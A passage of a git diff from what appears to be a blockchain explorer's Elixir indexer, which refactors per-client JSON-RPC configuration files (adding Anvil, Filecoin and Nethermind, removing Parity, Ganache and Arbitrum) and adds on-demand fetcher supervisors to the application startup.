:eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace + ], + http_options: ConfigHelper.http_options(10) + ], + variant: EthereumJSONRPC.Nethermind + ], + subscribe_named_arguments: [ + transport: + System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && + EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ] + ] diff --git a/apps/indexer/config/dev/parity.exs b/apps/indexer/config/dev/parity.exs deleted file mode 100644 index b3e14583d753..000000000000 --- a/apps/indexer/config/dev/parity.exs +++ /dev/null @@ -1,49 +0,0 @@ -import Config - -config :indexer, - block_interval: :timer.seconds(5), - json_rpc_named_arguments: [ - transport: - if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", - do: EthereumJSONRPC.HTTP, - else: EthereumJSONRPC.IPC - ), - else: EthereumJSONRPC.IPC, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayBlockTransactions: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" - ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Parity - ], - # Example configuration to override json_rpc_named_arguments for just the realtime block fetcher - # realtime_overrides: [ - # json_rpc_named_arguments: [ - # transport: EthereumJSONRPC.HTTP, - # transport_options: [ - # http: EthereumJSONRPC.HTTP.HTTPoison, - # url: System.get_env("ETHEREUM_JSONRPC_REALTIME_HTTP_URL") || "http://localhost:8545", - # method_to_url: [ - # eth_getBalance: System.get_env("ETHEREUM_JSONRPC_REALTIME_TRACE_URL") || "http://localhost:8545", - # trace_block: System.get_env("ETHEREUM_JSONRPC_REALTIME_TRACE_URL") || "http://localhost:8545", - # trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_REALTIME_TRACE_URL") || "http://localhost:8545" - # ], - # http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - # ], - # variant: EthereumJSONRPC.Parity - # ] - # ], - subscribe_named_arguments: [ - transport: - System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && - EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ] - ] diff --git a/apps/indexer/config/dev/rsk.exs b/apps/indexer/config/dev/rsk.exs index 8132cb7cd6a2..6b1aae31fbee 100644 --- a/apps/indexer/config/dev/rsk.exs +++ b/apps/indexer/config/dev/rsk.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), blocks_concurrency: 1, receipts_concurrency: 1, json_rpc_named_arguments: [ @@ -11,14 +15,21 @@ config :indexer, else: EthereumJSONRPC.IPC ), transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayBlockTransactions: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.RSK ], @@ -28,6 +39,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/prod.exs b/apps/indexer/config/prod.exs index 7c92ca58535e..8e81a078f4a5 100644 --- a/apps/indexer/config/prod.exs +++ b/apps/indexer/config/prod.exs @@ -42,3 +42,9 @@ config :logger, :block_import_timings, path: Path.absname("logs/prod/indexer/block_import_timings.log"), metadata_filter: [fetcher: :block_import_timings], rotate: %{max_bytes: 52_428_800, keep: 19} + +config :logger, :withdrawal, + level: :info, + path: Path.absname("logs/prod/indexer/withdrawal.log"), + metadata_filter: [fetcher: :withdrawal], + rotate: %{max_bytes: 52_428_800, keep: 19} diff --git a/apps/indexer/config/prod/anvil.exs b/apps/indexer/config/prod/anvil.exs new file mode 100644 index 000000000000..6022fe550aeb --- /dev/null +++ b/apps/indexer/config/prod/anvil.exs @@ -0,0 +1,37 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :indexer, + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), + json_rpc_named_arguments: [ + transport: + if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", + do: EthereumJSONRPC.HTTP, + else: EthereumJSONRPC.IPC + ), + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Anvil + ], + subscribe_named_arguments: [ + transport: + System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && + EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ] + ] diff --git a/apps/indexer/config/prod/arbitrum.exs b/apps/indexer/config/prod/arbitrum.exs deleted file mode 100644 index b2780524c3ec..000000000000 --- a/apps/indexer/config/prod/arbitrum.exs +++ /dev/null @@ -1,26 +0,0 @@ -import Config - -config :indexer, - block_interval: :timer.seconds(5), - json_rpc_named_arguments: [ - transport: - if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", - do: EthereumJSONRPC.HTTP, - else: EthereumJSONRPC.IPC - ), - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - http_options: [recv_timeout: :timer.minutes(5), timeout: :timer.minutes(5), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Arbitrum - ], - subscribe_named_arguments: [ - transport: - System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && - EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ] - ] diff --git a/apps/indexer/config/prod/besu.exs b/apps/indexer/config/prod/besu.exs index 70360adc1a81..006bf9296db8 100644 --- a/apps/indexer/config/prod/besu.exs +++ b/apps/indexer/config/prod/besu.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), json_rpc_named_arguments: [ transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", @@ -9,14 +13,21 @@ config :indexer, else: EthereumJSONRPC.IPC ), transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.Besu ], @@ -26,6 +37,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/prod/erigon.exs b/apps/indexer/config/prod/erigon.exs index 0ea612796539..83e1be5061ee 100644 --- a/apps/indexer/config/prod/erigon.exs +++ b/apps/indexer/config/prod/erigon.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), json_rpc_named_arguments: [ transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", @@ -9,14 +13,21 @@ config :indexer, else: EthereumJSONRPC.IPC ), transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.Erigon ], @@ -26,6 +37,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/prod/filecoin.exs b/apps/indexer/config/prod/filecoin.exs new file mode 100644 index 000000000000..3a720cbc0f79 --- /dev/null +++ b/apps/indexer/config/prod/filecoin.exs @@ -0,0 +1,40 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :indexer, + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), + json_rpc_named_arguments: [ + transport: + if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", + do: EthereumJSONRPC.HTTP, + else: EthereumJSONRPC.IPC + ), + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + trace_block: :trace + ], + http_options: ConfigHelper.http_options(10) + ], + variant: EthereumJSONRPC.Filecoin + ], + subscribe_named_arguments: [ + transport: + System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && + EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ] + ] diff --git a/apps/indexer/config/prod/ganache.exs b/apps/indexer/config/prod/ganache.exs deleted file mode 100644 index ee377b5022bc..000000000000 --- a/apps/indexer/config/prod/ganache.exs +++ /dev/null @@ -1,26 +0,0 @@ -import Config - -config :indexer, - block_interval: :timer.seconds(5), - json_rpc_named_arguments: [ - transport: - if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", - do: EthereumJSONRPC.HTTP, - else: EthereumJSONRPC.IPC - ), - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:7545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Ganache - ], - subscribe_named_arguments: [ - transport: - System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && - EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ] - ] diff --git a/apps/indexer/config/prod/geth.exs b/apps/indexer/config/prod/geth.exs index 4de0919c2be4..44ba660e9849 100644 --- a/apps/indexer/config/prod/geth.exs +++ b/apps/indexer/config/prod/geth.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), json_rpc_named_arguments: [ transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", @@ -9,9 +13,19 @@ config :indexer, else: EthereumJSONRPC.IPC ), transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + debug_traceTransaction: :trace, + debug_traceBlockByNumber: :trace + ], + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.Geth ], @@ -21,6 +35,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/prod/nethermind.exs b/apps/indexer/config/prod/nethermind.exs new file mode 100644 index 000000000000..83a1145d9b70 --- /dev/null +++ b/apps/indexer/config/prod/nethermind.exs @@ -0,0 +1,43 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :indexer, + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), + json_rpc_named_arguments: [ + transport: + if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", + do: EthereumJSONRPC.HTTP, + else: EthereumJSONRPC.IPC + ), + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace + ], + http_options: ConfigHelper.http_options() + ], + variant: EthereumJSONRPC.Nethermind + ], + subscribe_named_arguments: [ + transport: + System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && + EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ] + ] diff --git a/apps/indexer/config/prod/parity.exs b/apps/indexer/config/prod/parity.exs deleted file mode 100644 index e9dde3481417..000000000000 --- a/apps/indexer/config/prod/parity.exs +++ /dev/null @@ -1,31 +0,0 @@ -import Config - -config :indexer, - block_interval: :timer.seconds(5), - json_rpc_named_arguments: [ - transport: - if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", - do: EthereumJSONRPC.HTTP, - else: EthereumJSONRPC.IPC - ), - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), - method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") - ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Parity - ], - subscribe_named_arguments: [ - transport: - System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && - EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ] - ] diff --git a/apps/indexer/config/prod/rsk.exs b/apps/indexer/config/prod/rsk.exs index daa5f224548d..6b1aae31fbee 100644 --- a/apps/indexer/config/prod/rsk.exs +++ b/apps/indexer/config/prod/rsk.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), blocks_concurrency: 1, receipts_concurrency: 1, json_rpc_named_arguments: [ @@ -11,14 +15,21 @@ config :indexer, else: EthereumJSONRPC.IPC ), transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL"), - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.RSK ], @@ -28,6 +39,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/runtime/test.exs b/apps/indexer/config/runtime/test.exs index 476dedd9439c..0eb6e7a598d1 100644 --- a/apps/indexer/config/runtime/test.exs +++ b/apps/indexer/config/runtime/test.exs @@ -1,14 +1,13 @@ import Config -variant = - if is_nil(System.get_env("ETHEREUM_JSONRPC_VARIANT")) do - "parity" - else - System.get_env("ETHEREUM_JSONRPC_VARIANT") - |> String.split(".") - |> List.last() - |> String.downcase() - end +alias EthereumJSONRPC.Variant + +config :indexer, Indexer.Fetcher.Beacon.Blob.Supervisor, disabled?: true +config :indexer, Indexer.Fetcher.Beacon.Blob, start_block: 0 +config :indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor, disabled?: true +config :indexer, Indexer.Fetcher.OnDemand.TokenBalance.Supervisor, disabled?: true + +variant = Variant.get() Code.require_file("#{variant}.exs", "#{__DIR__}/../../../explorer/config/test") Code.require_file("#{variant}.exs", "#{__DIR__}/../../../indexer/config/test") diff --git a/apps/indexer/config/test.exs b/apps/indexer/config/test.exs index c789f4f1b218..c3f053a1365e 100644 --- a/apps/indexer/config/test.exs +++ b/apps/indexer/config/test.exs @@ -2,6 +2,10 @@ import Config config :indexer, Indexer.Tracer, disabled?: false +config :indexer, Indexer.Block.Catchup.MissingRangesCollector, future_check_interval: 1 + +config :indexer, Indexer.Migrator.RecoveryWETHTokenTransfers, enabled: false + config :logger, :indexer, level: :warn, path: Path.absname("logs/test/indexer.log") diff --git a/apps/indexer/config/test/anvil.exs b/apps/indexer/config/test/anvil.exs new file mode 100644 index 000000000000..d5870672f919 --- /dev/null +++ b/apps/indexer/config/test/anvil.exs @@ -0,0 +1,8 @@ +import Config + +config :indexer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Anvil + ] diff --git a/apps/indexer/config/test/arbitrum.exs b/apps/indexer/config/test/arbitrum.exs deleted file mode 100644 index 717b3f730be9..000000000000 --- a/apps/indexer/config/test/arbitrum.exs +++ /dev/null @@ -1,8 +0,0 @@ -import Config - -config :indexer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Arbitrum - ] diff --git a/apps/indexer/config/test/filecoin.exs b/apps/indexer/config/test/filecoin.exs new file mode 100644 index 000000000000..a7509d5e827e --- /dev/null +++ b/apps/indexer/config/test/filecoin.exs @@ -0,0 +1,8 @@ +import Config + +config :indexer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Filecoin + ] diff --git a/apps/indexer/config/test/ganache.exs b/apps/indexer/config/test/ganache.exs deleted file mode 100644 index 9fa1d7e19949..000000000000 --- a/apps/indexer/config/test/ganache.exs +++ /dev/null @@ -1,8 +0,0 @@ -import Config - -config :indexer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Ganache - ] diff --git a/apps/indexer/config/test/nethermind.exs b/apps/indexer/config/test/nethermind.exs new file mode 100644 index 000000000000..7ef74da67bc9 --- /dev/null +++ b/apps/indexer/config/test/nethermind.exs @@ -0,0 +1,8 @@ +import Config + +config :indexer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Nethermind + ] diff --git a/apps/indexer/config/test/parity.exs b/apps/indexer/config/test/parity.exs deleted file mode 100644 index 217587522a62..000000000000 --- a/apps/indexer/config/test/parity.exs +++ /dev/null @@ -1,8 +0,0 @@ -import Config - -config :indexer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.Mox, - transport_options: [], - variant: EthereumJSONRPC.Parity - ] diff --git a/apps/indexer/lib/indexer/application.ex b/apps/indexer/lib/indexer/application.ex index f261ba8057e5..06ef190f0261 100644 --- a/apps/indexer/lib/indexer/application.ex +++ b/apps/indexer/lib/indexer/application.ex @@ -5,20 +5,58 @@ defmodule Indexer.Application do use Application + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.ContractCode, as: ContractCodeOnDemand + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + alias Indexer.Fetcher.OnDemand.FirstTrace, as: FirstTraceOnDemand + alias Indexer.Fetcher.OnDemand.NFTCollectionMetadataRefetch, as: NFTCollectionMetadataRefetchOnDemand + alias Indexer.Fetcher.OnDemand.TokenBalance, as: TokenBalanceOnDemand + alias Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch, as: TokenInstanceMetadataRefetchOnDemand + alias Indexer.Fetcher.OnDemand.TokenTotalSupply, as: TokenTotalSupplyOnDemand + alias Indexer.Fetcher.TokenInstance.Refetch, as: TokenInstanceRefetch + alias Indexer.Memory @impl Application def start(_type, _args) do - memory_monitor_options = - case Application.get_env(:indexer, :memory_limit) do - nil -> %{} - integer when is_integer(integer) -> %{limit: integer} - end - memory_monitor_name = Memory.Monitor + json_rpc_named_arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) + + pool_size = + token_instance_fetcher_pool_size( + Indexer.Fetcher.TokenInstance.Realtime, + Indexer.Fetcher.TokenInstance.Realtime.Supervisor + ) + + token_instance_fetcher_pool_size( + Indexer.Fetcher.TokenInstance.Retry, + Indexer.Fetcher.TokenInstance.Retry.Supervisor + ) + + token_instance_fetcher_pool_size( + Indexer.Fetcher.TokenInstance.Sanitize, + Indexer.Fetcher.TokenInstance.Sanitize.Supervisor + ) + + token_instance_fetcher_pool_size( + Indexer.Fetcher.TokenInstance.Refetch, + Indexer.Fetcher.TokenInstance.Refetch.Supervisor + ) + + token_instance_fetcher_pool_size(Indexer.Fetcher.TokenInstance.SanitizeERC1155, nil) + + token_instance_fetcher_pool_size(Indexer.Fetcher.TokenInstance.SanitizeERC721, nil) + 1 + + # + 1 (above in pool_size calculation) for the Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch + base_children = [ - {Memory.Monitor, [memory_monitor_options, [name: memory_monitor_name]]} + :hackney_pool.child_spec(:token_instance_fetcher, max_connections: pool_size), + {Memory.Monitor, [%{}, [name: memory_monitor_name]]}, + {CoinBalanceOnDemand.Supervisor, [[json_rpc_named_arguments: json_rpc_named_arguments]]}, + {TokenBalanceOnDemand.Supervisor, []}, + {ContractCodeOnDemand.Supervisor, [json_rpc_named_arguments]}, + {ContractCreatorOnDemand.Supervisor, [json_rpc_named_arguments]}, + {NFTCollectionMetadataRefetchOnDemand.Supervisor, [json_rpc_named_arguments]}, + {TokenInstanceMetadataRefetchOnDemand.Supervisor, [json_rpc_named_arguments]}, + {TokenInstanceRefetch.Supervisor, []}, + {TokenTotalSupplyOnDemand.Supervisor, []}, + {FirstTraceOnDemand.Supervisor, [json_rpc_named_arguments]} ] children = @@ -34,6 +72,28 @@ defmodule Indexer.Application do name: Indexer.Application ] - Supervisor.start_link(children, opts) + if Application.get_env(:nft_media_handler, :standalone_media_worker?) do + Supervisor.start_link([], opts) + else + Supervisor.start_link(children, opts) + end + end + + defp token_instance_fetcher_pool_size(fetcher, nil) do + envs = Application.get_env(:indexer, fetcher) + + if envs[:enabled] do + 